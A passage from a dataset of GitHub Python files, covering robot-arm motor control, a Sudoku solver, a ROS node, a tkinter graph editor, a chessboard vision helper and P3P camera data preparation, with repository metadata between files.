= 0\r\njoint_1_calibration = [joint_1_home_pos, joint_1_max, joint_1_rest_pos]\r\n\r\njoint_2_max = 110\r\njoint_2_rest_pos = 57\r\njoint_2_home_pos = 0\r\njoint_2_calibration = [joint_2_home_pos, joint_2_max, joint_2_rest_pos]\r\n\r\njoint_3_max = 120\r\njoint_3_rest_pos = 44 \r\njoint_3_home_pos = 0\r\njoint_3_calibration = [joint_3_home_pos, joint_3_max, joint_3_rest_pos]\r\n\r\njoint_4_max = 220\r\njoint_4_rest_pos = 80\r\njoint_4_home_pos = 0\r\njoint_4_calibration = [joint_4_home_pos, joint_4_max, joint_4_rest_pos]\r\n\r\njoint_5_max = 180\r\njoint_5_rest_pos = 90\r\njoint_5_home_pos = 0\r\njoint_5_calibration = [joint_5_home_pos, joint_5_max, joint_5_rest_pos]\r\n\r\njoint_6_max = 280\r\njoint_6_rest_pos = 167\r\njoint_6_home_pos = 0\r\njoint_6_calibration = [joint_6_home_pos, joint_6_max, joint_6_rest_pos]\r\n\r\n# these values are needed for IK\r\n# these values are only 'correct' immidiately after homing and will be updated as the arm actually moves\r\njoint_1_origin_angle = 0\r\njoint_2_origin_angle = 0\r\njoint_2_3_angle = 90\r\njoint_4_5_angle = 0\r\njoint_5_6_angle = 0\r\njoint_6_tool_angle = 0\r\n\r\njoint_angles = [joint_1_origin_angle,\r\n \t\t\tjoint_2_origin_angle,\r\n joint_2_3_angle,\r\n joint_4_5_angle,\r\n joint_5_6_angle,\r\n joint_6_tool_angle]\r\n\r\ndef connect_to():\r\n\t# global odrive_boards\r\n\r\n\t# find the odrives\r\n\todrive_boards[0] = odrive.find_any(serial_number=board_1_num)\r\n\todrive_boards[1] = odrive.find_any(serial_number=board_2_num)\r\n\todrive_boards[2] = odrive.find_any(serial_number=board_3_num)\r\n\r\n\t# odrive_boards = [odrive_1, odrive_2, odrive_3]\r\n\r\n# calibrate odrives and set to closed loop control\r\ndef calibrate_all():\r\n\t# global odrive_boards\r\n\t\r\n\tprint('\\n\\nbeginning calibration...')\r\n\r\n\tfor board in odrive_boards:\r\n\r\n\t\tprint(f'\\nnow calibrating {board} axis 0')\r\n\t\tboard.axis0.requested_state = AXIS_STATE_FULL_CALIBRATION_SEQUENCE\r\n\t\twhile board.axis0.current_state != AXIS_STATE_IDLE:\r\n\t\t\ttime.sleep(0.1)\r\n\r\n\t\tprint(f'\\n{board} axis 0 in CLOSED LOOP CONTROL')\r\n\t\tboard.axis0.requested_state = AXIS_STATE_CLOSED_LOOP_CONTROL\r\n\r\n\t\tboard.axis0.controller.config.vel_limit = default_vel_limit\r\n\t\tboard.axis0.trap_traj.config.vel_limit = traj_vel_limit\r\n\t\tboard.axis0.trap_traj.config.vel_limit = traj_accel_limit\r\n\t\tboard.axis0.trap_traj.config.vel_limit = traj_decel_limit\r\n\r\n\t\ttime.sleep(0.5)\r\n\r\n\t\tprint(f'\\nnow calibrating {board} axis 1')\r\n\t\tboard.axis1.requested_state = AXIS_STATE_FULL_CALIBRATION_SEQUENCE\r\n\t\twhile board.axis1.current_state != AXIS_STATE_IDLE:\r\n\t\t\ttime.sleep(0.1)\r\n\r\n\t\tprint(f'\\n{board} axis 1 in CLOSED LOOP CONTROL')\r\n\t\tboard.axis1.requested_state = AXIS_STATE_CLOSED_LOOP_CONTROL\r\n \r\n\t\tboard.axis1.controller.config.vel_limit = default_vel_limit\r\n\t\tboard.axis1.trap_traj.config.vel_limit = traj_vel_limit\r\n\t\tboard.axis1.trap_traj.config.vel_limit = traj_accel_limit\r\n\t\tboard.axis1.trap_traj.config.vel_limit = traj_decel_limit\r\n \r\n\tprint('\\n\\n calibration complete')\r\n\r\ndef move_axis_incremental(motor_axis, num_degrees, axis_value):\r\n\t# send commands to each joint by degrees\r\n\tif motor_axis == 1:\r\n\t\todrive_boards[0].axis0.controller.move_incremental(num_degrees * axis_value, False)\r\n\t\r\n\tif motor_axis == 2:\r\n\t\todrive_boards[0].axis1.controller.move_incremental(num_degrees * axis_value, False)\r\n\r\n\tif motor_axis == 3:\r\n\t\todrive_boards[1].axis0.controller.move_incremental(num_degrees * axis_value, False)\r\n\r\n\tif motor_axis == 4:\r\n\t\todrive_boards[1].axis1.controller.move_incremental(num_degrees * axis_value, False)\r\n\r\n\tif motor_axis == 5:\r\n\t\todrive_boards[2].axis0.controller.move_incremental(num_degrees * axis_value, False)\r\n\r\n\tif motor_axis == 6:\r\n\t\todrive_boards[2].axis1.controller.move_incremental(num_degrees * axis_value, False)\r\n\r\ndef move_axis_absolute(motor_axis, encoder_counts):\r\n\r\n\tif motor_axis == 1:\r\n\t\todrive_boards[0].axis0.controller.move_to_pos(joint_1_calibration[0] - encoder_counts)\r\n\r\n\tif motor_axis == 2:\r\n\t\todrive_boards[0].axis1.controller.move_to_pos(joint_2_calibration[0] - encoder_counts)\r\n\r\n\tif motor_axis == 3:\r\n\t\todrive_boards[1].axis0.controller.move_to_pos(joint_3_calibration[0] - encoder_counts)\r\n\r\n\tif motor_axis == 4:\r\n\t\todrive_boards[1].axis1.controller.move_to_pos(joint_4_calibration[0] - encoder_counts)\r\n\r\n\tif motor_axis == 5:\r\n\t\todrive_boards[2].axis0.controller.move_to_pos(joint_5_calibration[0] - encoder_counts)\r\n\r\n\tif motor_axis == 6:\r\n\t\todrive_boards[2].axis1.controller.move_to_pos(joint_6_calibration[0] - encoder_counts)\r\n \r\ndef move_to_saved_pos(pos_index):\r\n\tif pos_index < len(j1_pos):\r\n\t\tmove_axis_absolute(1, j1_pos[pos_index])\r\n\t\tmove_axis_absolute(2, j2_pos[pos_index])\r\n\t\tmove_axis_absolute(3, j3_pos[pos_index])\r\n\t\tmove_axis_absolute(4, j4_pos[pos_index])\r\n\t\tmove_axis_absolute(5, j5_pos[pos_index])\r\n\t\tmove_axis_absolute(6, j6_pos[pos_index])\r\n\r\n\t\ttime.sleep(0.1)\r\n\r\n\t\t# need to take a look at a better way to tell if it's at the correct point...\r\n\t\twhile abs(odrive_boards[0].axis0.encoder.vel_estimate) >= 300 or\\\r\n\t\t\t\tabs(odrive_boards[0].axis1.encoder.vel_estimate) >= 300 or\\\r\n\t\t\t\tabs(odrive_boards[1].axis0.encoder.vel_estimate) >= 300 or\\\r\n\t\t\t\tabs(odrive_boards[1].axis1.encoder.vel_estimate) >= 300 or\\\r\n\t\t\t\tabs(odrive_boards[2].axis0.encoder.vel_estimate) >= 300 or\\\r\n\t\t\t\tabs(odrive_boards[2].axis1.encoder.vel_estimate) >= 300:\r\n\t\t\ttime.sleep(0.1)\r\n\t\telse:\r\n\t\t\tmove_to_saved_pos(pos_index + 1) \r\n\telse:\r\n\t\tprint('final point reached')\r\n\t\r\ndef home_axis(pin_num, joint_num, gear_reduction, joint_calibration_array, direction_modifier):\r\n\t# even with pullup resistors, the first value returned is always low with firmata...\r\n\tbuffer_counter = 0\r\n\t\r\n\tarduino_board.digital[pin_num].mode = pyfirmata.INPUT\r\n\t\r\n\tprint(f'homing joint {joint_num} on pin {pin_num}.')\r\n\r\n\twhile True:\r\n\t\tjoint_limit_status = arduino_board.digital[pin_num].read()\r\n\r\n\t\t# move in 2 degree incriments until we hit the limit switch\r\n\t\tif joint_limit_status is True:\r\n\t\t\tmove_axis_incremental(joint_num, dc.return_counts(3.0, gear_reduction), direction_modifier)\r\n\t\telse:\r\n\t\t\tbuffer_counter += 1\r\n\t\t\tif buffer_counter >= 2:\r\n\t\t\t\tbuffer_counter = 0\r\n\t\t\t\tbreak\r\n\t\t\r\n\t\ttime.sleep(0.1)\r\n\t\r\n\tprint(\"limit reached\")\r\n\r\n\tif joint_num == 1:\r\n\t\tjoint_zero = odrive_boards[0].axis0.controller.pos_setpoint\r\n\telif joint_num == 2:\r\n\t\tjoint_zero = odrive_boards[0].axis1.controller.pos_setpoint\r\n\telif joint_num == 3:\r\n\t\tjoint_zero = odrive_boards[1].axis0.controller.pos_setpoint\r\n\telif joint_num == 4:\r\n\t\tjoint_zero = odrive_boards[1].axis1.controller.pos_setpoint\r\n\telif joint_num == 5:\r\n\t\tjoint_zero = odrive_boards[2].axis0.controller.pos_setpoint\r\n\telif joint_num == 6:\r\n\t\tjoint_zero = odrive_boards[2].axis1.controller.pos_setpoint\r\n\telse:\r\n\t\tprint('invalid joint')\r\n\r\n\t# provide a + 5 degree offset for the 'zero' or minimum position of the joint\r\n\tjoint_calibration_array[0] = joint_zero + (direction_modifier * dc.return_counts(5, gear_reduction))\r\n\r\n\t# move the joint to the rest position some degrees off the limit switch\r\n\tmove_axis_absolute(joint_num, dc.return_counts(joint_calibration_array[2], gear_reduction))\r\n\r\n\r\n","repo_name":"jquahian/project_longbow","sub_path":"board_control.py","file_name":"board_control.py","file_ext":"py","file_size_in_byte":7836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"28507362239","text":"'''в числовой матрице поменять местами два столбца. Матрица заполняется пользователем\r\n После запрашиваются номера столбцов которые нужно поменять местами.'''\r\n\r\nmatrix = [[int(input('Enter your numbers for matrix(3*4): ')) for j in range(4)] for i in range(3)]\r\n\r\nx1 = int(input('Enter first column: '))\r\nx2 = int(input('Enter second column: '))\r\n\r\nprint(matrix)\r\n\r\nfor x in matrix:\r\n x[x1], x[x2] = x[x2], x[x1]\r\n\r\nprint(matrix)\r\n","repo_name":"dekamiron/my_first_attempt","sub_path":"control test1/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74695832785","text":"#!/usr/bin/python3\n#results of timing + backtrack: naive and smarter\nimport sys\nimport time\n\n#from hardest: 26,61,360\n\nbacktrack = 0\nfinalstr = \"\"\ncheck = 0\n\n#ctr tells you first occurence of '_'\ndef check(puzzle,ctr):\n Cliques=[[0,1,2,3,4,5,6,7,8],\\\n [9,10,11,12,13,14,15,16,17],\\\n [18,19,20,21,22,23,24,25,26],\\\n [27,28,29,30,31,32,33,34,35],\\\n [36,37,38,39,40,41,42,43,44],\\\n [45,46,47,48,49,50,51,52,53],\\\n [54,55,56,57,58,59,60,61,62],\\\n [63,64,65,66,67,68,69,70,71],\\\n [72,73,74,75,76,77,78,79,80],\\\n [0,9,18,27,36,45,54,63,72],\\\n [1,10,19,28,37,46,55,64,73],\\\n [2,11,20,29,38,47,56,65,74],\\\n [3,12,21,30,39,48,57,66,75],\\\n [4,13,22,31,40,49,58,67,76],\\\n [5,14,23,32,41,50,59,68,77],\\\n [6,15,24,33,42,51,60,69,78],\\\n [7,16,25,34,43,52,61,70,79],\\\n [8,17,26,35,44,53,62,71,80],\\\n [0,1,2,9,10,11,18,19,20],\\\n [3,4,5,12,13,14,21,22,23],\\\n [6,7,8,15,16,17,24,25,26],\\\n [27,28,29,36,37,38,45,46,47],\\\n [30,31,32,39,40,41,48,49,50],\\\n [33,34,35,42,43,44,51,52,53],\\\n [54,55,56,63,64,65,72,73,74],\\\n [57,58,59,66,67,68,75,76,77],\\\n [60,61,62,69,70,71,78,79,80]\\\n ]\n \n badplaces = {0}\n badnums = {0}\n badplaces.remove(0)\n badnums.remove(0)\n\n #O(n^2) time (is it possible to reduce it?)\n #badplaces gives locations where ctr is part of the same clique\n for k in Cliques:\n if ctr in k:\n for places in k:\n if places != ctr:\n badplaces.add(places)\n \n #gives all badnums based on bad places in puzzle\n for a in badplaces:\n if puzzle[a] != '_':\n badnums.add(puzzle[a])\n possible = {'1','2','3','4','5','6','7','8','9'}\n return possible.difference(badnums)\n\n\ndef retSudoku(puzzle):\n ctr = 0\n retstr = \"\"\n while ctr < 75:\n #print( \",\".join(puzzle[ctr:ctr+9]) )\n retstr += \",\".join(puzzle[ctr:ctr+9]) + \"\\n\"\n ctr += 9\n return retstr\n\n \ndef Sudoku(stack):\n global backtrack\n #make a stack to check if state is good or bad\n #if no possibilities, pop stack and check next\n \n #gets current puzzle\n currentpuzzle = stack[len(stack)-1]\n ctr = 0\n #gets first occurence of _\n while ctr < 81 and currentpuzzle[ctr] != '_':\n ctr += 1\n global check\n if check == 0:\n check = 1\n following = ctr\n while following < 81 and currentpuzzle[following] == '_':\n goodset = check(currentpuzzle,following)\n if len(goodset) == 1:\n currentpuzzle = currentpuzzle[:ctr] + [goodset.pop()] + currentpuzzle[ctr+1:]\n following += 1\n \n #return boolean and associated puzzle\n if ctr == 81:\n #global finalstr\n #finalstr += retSudoku(currentpuzzle)\n print(retSudoku(currentpuzzle))\n #print(\"backtrack: \" + str(backtrack))\n return\n #gets set of possibilities\n goodset = check(currentpuzzle,ctr)\n #if set is 0, del possibility, Sudoku keeps moving on with possibilities\n if len(goodset) == 0:\n return \n else:\n #go through the possibilities and try every single one\n #if 1, it's forced but can you force it elsewhere\n for k in goodset:\n backtrack += 1\n #print(backtrack)\n newpuzzle = currentpuzzle[:ctr] + [k] + currentpuzzle[ctr+1:]\n tempstack = stack[:]\n tempstack.append(newpuzzle)\n Sudoku(tempstack)\n\ndef main():\n Process(sys.argv[1], sys.argv[2])\n \ndef Process(infile,outfile):\n f = open(infile,'r')\n lines = f.read().split('\\n')\n f.close()\n #text = text.split(',')\n\n board = []\n stop = 0\n retstr = \"\"\n global backtrack\n global finalstr\n \n for i in lines:\n ctr = i.split(',')\n if stop == 9:\n start = time.time()\n Sudoku( [board] )\n retstr += finalstr + \"\\n\"\n finalstr = \"\"\n skip = 0\n retstr += str(backtrack) + \"\\n\"\n\n totaltime = time.time()-start\n #print(\"totaltime: \" + str(totaltime) + \" seconds\" + \"\\n*******************************\\n\")\n retstr += \"totaltime: \" + str(totaltime) + \" seconds\" + \"\\n*******************************\\n\"\n backtrack = 0\n stop = 0\n board = []\n\n elif len(ctr) == 3:\n #if ctr == text:\n # skip = 3\n #print(\",\".join(ctr))\n retstr += \",\".join(ctr) + \"\\n\"\n elif len(ctr) == 9:\n board.extend(ctr)\n stop += 1\n\n g = open(outfile,'w')\n g.write(retstr)\n g.close()\n\nmain()\n","repo_name":"caw024/Sudoku","sub_path":"oldcode/RSudoku.py","file_name":"RSudoku.py","file_ext":"py","file_size_in_byte":4178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7705976911","text":"#!/usr/bin/env python\nimport rospy\nimport numpy as np\nfrom range_sensor.msg import RangeMeasurementArray, RangeMeasurement\nfrom sensor_processor.msg import RangesForPlotting\n\nclass RangeViewer():\n def __init__(self, name):\n rospy.init_node(name)\n\n # PUBLISHER:\n self.pub_range_for_plotting = rospy.Publisher(\"ranges/plotting\", RangesForPlotting, queue_size=1)\n\n # SUBSCRIBER:\n rospy.Subscriber(\"ranges\", RangeMeasurementArray, self.range_callback)\n\n def range_callback(self, msg):\n ranges = RangesForPlotting()\n ranges.tag1, ranges.tag2, ranges.tag3, ranges.tag4 = 0.0, 0.0, 0.0, 0.0\n for measurement in msg.measurements:\n if measurement.id == 1:\n ranges.tag1 = measurement.range\n elif measurement.id == 2:\n ranges.tag2 = measurement.range\n elif measurement.id == 3:\n ranges.tag3 = measurement.range\n elif measurement.id == 4:\n ranges.tag4 = measurement.range\n self.pub_range_for_plotting.publish(ranges)\n\n\ndef main():\n node = RangeViewer(\"RangeViewer\")\n rospy.spin()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"adamanov/TUHH_FaV","sub_path":"src/sensor_processor/nodes/range_viewer.py","file_name":"range_viewer.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71575178705","text":"\"Graph Edit\"\nfrom typing import Set\n\nimport tkinter as tk\n\n\nclass Application(tk.Frame): # pylint: disable=too-many-ancestors\n '''Sample tkinter application class'''\n\n def __init__(self, master=None, title=\"\", **kwargs):\n '''Create root window with frame, tune weight and resize'''\n super().__init__(master, **kwargs)\n self.master.title(title)\n self.master.columnconfigure(0, weight=1)\n self.master.rowconfigure(0, weight=1)\n self.grid(sticky='NEWS')\n self.createWidgets()\n for column in range(self.grid_size()[0]):\n self.columnconfigure(column, weight=1)\n for row in range(self.grid_size()[1]):\n self.rowconfigure(row, weight=1)\n\n def createWidgets(self):\n '''Create all the widgets'''\n\n\nclass GraphEdit(Application):\n\n def __init__(self, known_names: Set[str], **kwargs):\n super().__init__(**kwargs)\n self.__known_names = known_names\n self.__previous = (0, 0)\n self.__created_oval = False\n self.__selected_id = 0\n self.__moving = False\n\n def clearCanvas(self):\n self.C.delete(\"all\")\n\n def addTag(self, newTag: str, lineIdx: int, length: int):\n oldTag = ''\n if newTag == 'good':\n oldTag = 'bad'\n elif newTag == 'bad':\n oldTag = 'good'\n else:\n return\n self.T.tag_remove(\n oldTag,\n f'{lineIdx}.0',\n f'{lineIdx}.0 + {length} chars'\n )\n self.T.tag_add(\n newTag,\n f'{lineIdx}.0',\n f'{lineIdx}.0 + {length} chars'\n )\n\n def cclToCanvas(self):\n self.clearCanvas()\n cclProgram = self.T.get('1.0', tk.END)\n for i, line in enumerate(cclProgram.split('\\n')):\n lineStrip = line.lstrip()\n if not lineStrip:\n continue\n if lineStrip.startswith('#'):\n self.addTag('good', i + 1, len(line))\n continue\n name, *parameters = line.split()\n if name not in self.__known_names or len(parameters) != 7:\n self.addTag('bad', i + 1, len(line))\n continue\n *coords, width, outline, fill = parameters\n try:\n x0, y0, x1, y1 = (float(coord) for coord in coords)\n width = float(width)\n contructor = getattr(self.C, f'create_{name}')\n contructor(\n x0, y0, x1, y1,\n width=width,\n outline=outline,\n fill=fill,\n )\n self.addTag('good', i + 1, len(line))\n except:\n self.addTag('bad', i + 1, len(line))\n\n def canvasToCCL(self):\n objIds = self.C.find_all()\n lengths = []\n text = ''\n for objId in objIds:\n coords = (str(coord) for coord in self.C.coords(objId))\n config = self.C.itemconfigure(objId)\n width = config['width'][-1]\n outline = config['outline'][-1]\n fill = config['fill'][-1]\n line = 'oval ' + ' '.join(coords) + f' {width} {outline} {fill}\\n'\n text += line\n lengths.append(len(line))\n self.T.delete('1.0', 'end')\n self.T.insert('end', text)\n for i, length in enumerate(lengths):\n self.addTag('good', i + 1, length)\n\n def select(self, event):\n overlapping = self.C.find_overlapping(event.x, event.y, event.x, event.y)\n self.__previous = (event.x, event.y)\n if not overlapping:\n self.__selected_id = self.C.create_oval(\n event.x, event.y, event.x, event.y,\n width=2,\n outline='blue',\n fill='red',\n )\n self.__created_oval = True\n else:\n self.__selected_id = overlapping[-1]\n self.__moving = True\n\n def move(self, event):\n if self.__created_oval:\n self.C.coords(\n self.__selected_id,\n self.__previous[0],\n self.__previous[1],\n event.x,\n event.y\n )\n elif self.__moving:\n self.C.move(\n self.__selected_id,\n event.x - self.__previous[0],\n event.y - self.__previous[1]\n )\n self.__previous = (event.x, event.y)\n\n def release(self, event):\n self.__created_oval = False\n self.__moving = False\n\n def createWidgets(self):\n super().createWidgets()\n self.T = tk.Text(\n self,\n undo=True,\n font='fixed',\n inactiveselectbackground='Midnightblue'\n )\n self.T.tag_configure('good', foreground='green')\n self.T.tag_configure('bad', foreground='red')\n self.C = tk.Canvas(self)\n self.C.bind(\"\", self.select)\n self.C.bind(\"\", self.move)\n self.C.bind(\"\", self.release)\n self.T.grid(row=1, column=1, sticky='NEWS', columnspan=2)\n self.C.grid(row=1, column=3, sticky='NEWS')\n\n self.RunButton = tk.Button(self, text='Text2Canvas', command=self.cclToCanvas)\n self.LoadButton = tk.Button(self, text='Canvas2Text', command=self.canvasToCCL)\n self.Q = tk.Button(self, text='Quit', command=self.master.quit)\n self.RunButton.grid(row=2, column=1)\n self.LoadButton.grid(row=2, column=2)\n self.Q.grid(row=2, column=3)\n\n\napp = GraphEdit(\n title=\"Graph Edit\",\n known_names={\n 'oval',\n }\n)\napp.mainloop()\n","repo_name":"shorohml/PythonDevelopment2021","sub_path":"05_SshAndSmartWidgents/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27606731490","text":"# -*- coding: utf-8 -*-\r\n# @Time : 2019/6/20 14:34\r\n# @Author : fovegage\r\n# @Email : fovegage@gmail.com\r\n# @File : group.py\r\n# @Software: PyCharm\r\n\r\nimport re\r\n\r\np = re.compile(r'(\\d+).(\\d+)')\r\n\r\n# group 指的是 正则表达式的分组 分几组就能group()几个\r\n# group() == group(0)\r\nse = p.search('hdadah212l21dd')\r\nprint(se.group()) # 匹配内容\r\n","repo_name":"fovegage/learn-python","sub_path":"正则表达式/group.py","file_name":"group.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"zh","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"6109176770","text":"class TreeModel:\n\n class TreeNode:\n def __init__(self, name):\n self.children = []\n self.values = {\"name\": name}\n\n def insertChild(self, node):\n if len(self.children) == 0:\n self.children.append(node)\n return 0\n else:\n for i in range(len(self.children)):\n if node.values['name'] < self.children[i].values['name']:\n self.children.insert(i, node)\n return i\n self.children.append(node)\n return len(self.children) - 1\n def __str__(self):\n return self.values['name']\n\n def printChildren(self):\n for child in self.children:\n print(child)\n\n class PathException(Exception):\n def __init__(self, message):\n super().__init__(message)\n\n def __init__(self):\n self.root = self.TreeNode('root')\n\n def __str__(self):\n return self.traverse(0, self.root)\n \n def traverse(self, level, node, result = \"\"):\n if len(node.children) == 0:\n return \"\\t\"*level + node.values['name']\n else: \n result += \"\\t\" * level + node.values['name'] + \"\\n\"\n for n in node.children:\n result += self.traverse(level + 1, n) + '\\n'\n return result\n\n def getItem(self, path):\n # Takes list of strings\n cursor = self.root\n\n # while len(path) != 0:\n for next in path:\n found = False\n for child in cursor.children:\n if child.values['name'] == next:\n found = True\n cursor = child\n break\n if not found:\n raise Exception(\"Couldn't insert {} with path {}\".format(item, path))\n # print(len(path))\n return cursor\n\n def insertItem(self, path, item):\n self.getItem(path).insertChild(self.TreeNode(item))\n\n def insertTopLevelItem(self, item):\n self.root.insertChild(self.TreeNode(item))\n\n def deleteItem(self, path):\n which = path.pop()\n parent = self.getItem(path)\n for i in range(len(parent.children)):\n if parent.children[i].values['name'] == which:\n if len(parent.children[i].children) == 0:\n parent.children.pop(i)\n else:\n raise Exception(\"Node {} has {} children.\".format(parent, len(parent.children)))\n\n def deleteTopLevelItem(self, item):\n for i in range(len(self.root.children)):\n if self.root.children[i].values['name'] == item:\n self.root.children.pop(i)\n return\n","repo_name":"nanotyrannus/treenote","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":2722,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4829584122","text":"import numpy as np\r\nimport cv2\r\nfrom Piece import *\r\nfrom Classifier import Classifier\r\n\r\nFIELD_STATE_UNKNOWN=-1\r\nFIELD_EMPTY=0\r\n\r\nFIELD_WHITE_PIECE= COLOR_WHITE\r\nFIELD_BLACK_PIECE= COLOR_BLACK\r\n\r\nNAMES={\r\n COLOR_WHITE: 'Bialy',\r\n COLOR_BLACK: 'Czarny',\r\n FIGURE_ROOK: 'Wieza',\r\n FIGURE_KNIGHT: 'Skoczek',\r\n FIGURE_BISHOP: 'Goniec',\r\n FIGURE_QUEEN: 'Krolowa',\r\n FIGURE_KING: 'Krol',\r\n FIGURE_PAWN: 'Pion'\r\n}\r\n\r\ndef imopen(image, kernelSize):\r\n kernel=np.ones(kernelSize,np.uint8)\r\n return cv2.morphologyEx(image,cv2.MORPH_OPEN,kernel)\r\n\r\nclass ChessboardField:\r\n\r\n marker_min=np.array([31,33,0], dtype=np.uint8)\r\n marker_max=np.array([83,255,255], dtype=np.uint8)\r\n strel=(5,5)\r\n\r\n\r\n def __init__(self, label, image, colorRange):\r\n self.updateImage(image, checkState=False)\r\n self.emptyFieldMarker=self.marker\r\n self.label=label\r\n self.state=FIELD_STATE_UNKNOWN\r\n self.marker_min=colorRange[0]\r\n self.marker_max=colorRange[1]\r\n self.currentPiece=buildEmptyPiece()\r\n self.classifier=Classifier(threshold=45)\r\n\r\n def setClassifierThreshold(self, threshold):\r\n self.classifier.setThreshold(threshold)\r\n\r\n def findMarkers(self,image):\r\n hsv=cv2.cvtColor(image,cv2.COLOR_BGR2HSV)\r\n mask=cv2.inRange(hsv,self.marker_min, self.marker_max)\r\n return mask\r\n\r\n def isEmpty(self):\r\n return np.any(self.marker)\r\n\r\n def updateImage(self, image, checkState=True):\r\n self.image=image\r\n self.markerMask=self.findMarkers(image)\r\n self.marker=imopen(self.markerMask,self.strel)\r\n if checkState:\r\n self.state=self.classifier.getFieldState(self)\r\n\r\n def setLabel(self,label):\r\n if label[0].isdigit() and label[1].isalpha():\r\n self.label=label[1]+label[0]\r\n elif label[0].isalpha and label[1].isdigit():\r\n self.label=label\r\n else:\r\n raise Exception('Błąd w etykietowaniu pól')\r\n\r\n def initCurrentPiece(self, color, figure):\r\n if not self.currentPiece.empty:\r\n return\r\n self.currentPiece=Piece(color,figure)\r\n\r\n def setCurrentPiece(self, piece):\r\n self.currentPiece=piece\r\n\r\n def releaseField(self):\r\n self.currentPiece=buildEmptyPiece()\r\n\r\n def getName(self):\r\n if self.currentPiece.empty:\r\n return 'EMPTY ({})'.format(self.label)\r\n color=NAMES[self.currentPiece.color]\r\n figure=NAMES[self.currentPiece.figure]\r\n field=self.label\r\n return '{} {}({})'.format(color, figure, field)\r\n\r\n def hasChanged(self):\r\n if self.state == FIELD_EMPTY and self.currentPiece.empty:\r\n return False\r\n elif self.state == self.currentPiece.color:\r\n return False\r\n else:\r\n return True\r\n\r\n \r\n ","repo_name":"tkondraciuk/ChessTracker","sub_path":"Chessboardfield.py","file_name":"Chessboardfield.py","file_ext":"py","file_size_in_byte":2853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20771597434","text":"#!/usr/bin/python3\n\n\"\"\"\nLoad and prepare data for the P3P problem.\n\nby Pavel Trutman, pavel.trutman@fel.cvut.cz\n\"\"\"\n\nimport click\nimport random\nimport timeit\nimport scipy.io\nimport itertools\nimport numpy as np\nimport numpy.matlib\nimport scipy.linalg\n\n# size of the generated data\ncamSelNum = 67\ntripletsSelNum = 1000\npointSelNum = 3\n\n# file paths\nfileMacrosPath = 'macros/app_P3P.tex'\nfileLadioPath = 'data/app_LADIO.mat'\nfileCamsPath = 'data/app_P3P_cams.mat'\nfileSolAGPath = 'data/app_P3P_solAG.mat'\nfileSolPolyoptPath = 'data/app_P3P_solPolyopt.mat'\nfileResultsPath = 'data/app_P3P_results.mat'\nfileGnuplotErrPath = 'data/app_P3P_err.dat'\nfileGnuplotCDistPath = 'data/app_P3P_cdist.dat'\nfileGnuplotRAnglePath = 'data/app_P3P_rangle.dat'\nfileGnuplotTimesPath = 'data/app_P3P_times.dat'\nfileGnuplotRelaxPath = 'data/app_P3P_relax.dat'\n\n# command line arguments parsing\n@click.group()\ndef cli():\n pass\n\n\n@cli.command()\ndef generateLatexMacros():\n \"\"\"\n Generates macros for LaTeX.\n\n Returns:\n None\n \"\"\"\n\n # export to LaTeX\n with open(fileMacrosPath, 'wt') as f:\n f.write('\\\\newcommand{{\\\\importAppPPPNumCameras}}{{\\\\num{{{0:d}}}}}'.format(camSelNum))\n f.write('\\\\newcommand{{\\\\importAppPPPNumPoints}}{{\\\\num{{{0:d}}}}}'.format(tripletsSelNum))\n\n\n@cli.command()\ndef prepareData():\n \"\"\"\n Processes the data from the Ladio project and selects the points and computes the P3P polynomial coefficients.\n\n Returns:\n None\n \"\"\"\n\n # load the data\n data = scipy.io.loadmat(fileLadioPath, struct_as_record=True)\n X = data['data']['X'][0, 0].astype('float64')\n Xid = data['data']['Xid'][0, 0].astype('int')\n u = data['data']['u'][0, 0][0]\n uid = data['data']['uid'][0, 0][0]\n inliers = data['data']['inliers'][0, 0][0]\n K = data['data']['K'][0, 0][0]\n R = data['data']['R'][0, 0][0]\n C = data['data']['C'][0, 0][0]\n camNum = K.shape[0]\n\n saveobj = np.zeros((camSelNum,), dtype=np.object)\n\n # select some cameras and triplets of points\n camSel = np.random.permutation(camNum)[:camSelNum]\n for cam, i in zip(camSel, range(camSelNum)):\n print(str(i) + ' of ' + str(camSelNum))\n uIn = u[cam][np.matlib.repmat(inliers[cam].astype(bool), 2, 1)].reshape((2, -1))\n uIdIn = uid[cam][inliers[cam].astype(bool)]\n KCam = K[cam].astype('float64')\n CCam = C[cam][:, 0].astype('float64')\n\n saveobj[i] = {'camId': cam, 'a': np.zeros((tripletsSelNum), dtype=np.object), 'u': np.zeros((tripletsSelNum), dtype=np.object), 'x': np.zeros((tripletsSelNum), dtype=np.object)}\n\n for triplet in range(tripletsSelNum):\n ids = random.sample(uIdIn.tolist(), pointSelNum)\n x1 = X[:, np.where(Xid == ids[0])[1]]\n x2 = X[:, np.where(Xid == ids[1])[1]]\n x3 = X[:, np.where(Xid == ids[2])[1]]\n u1 = u[cam][:, np.where(uid[cam] == ids[0])[1]].astype('float64')\n u2 = u[cam][:, np.where(uid[cam] == ids[1])[1]].astype('float64')\n u3 = u[cam][:, np.where(uid[cam] == ids[2])[1]].astype('float64')\n a0, a1, a2, a3, a4 = P3PPol(KCam, x1, x2, x3, u1, u2, u3)\n\n # save the data\n saveobj[i]['a'][triplet] = [a0, a1, a2, a3, a4]\n saveobj[i]['u'][triplet] = np.hstack((u1, u2, u3))\n saveobj[i]['x'][triplet] = np.hstack((x1, x2, x3))\n\n scipy.io.savemat(fileCamsPath, {'cams': saveobj})\n\n\n@cli.command()\ndef processData(case=['AG', 'Polyopt', 'Mosek', 'Gloptipoly']):\n \"\"\"\n Processes solutions from the given toolbox and computes error to the ground 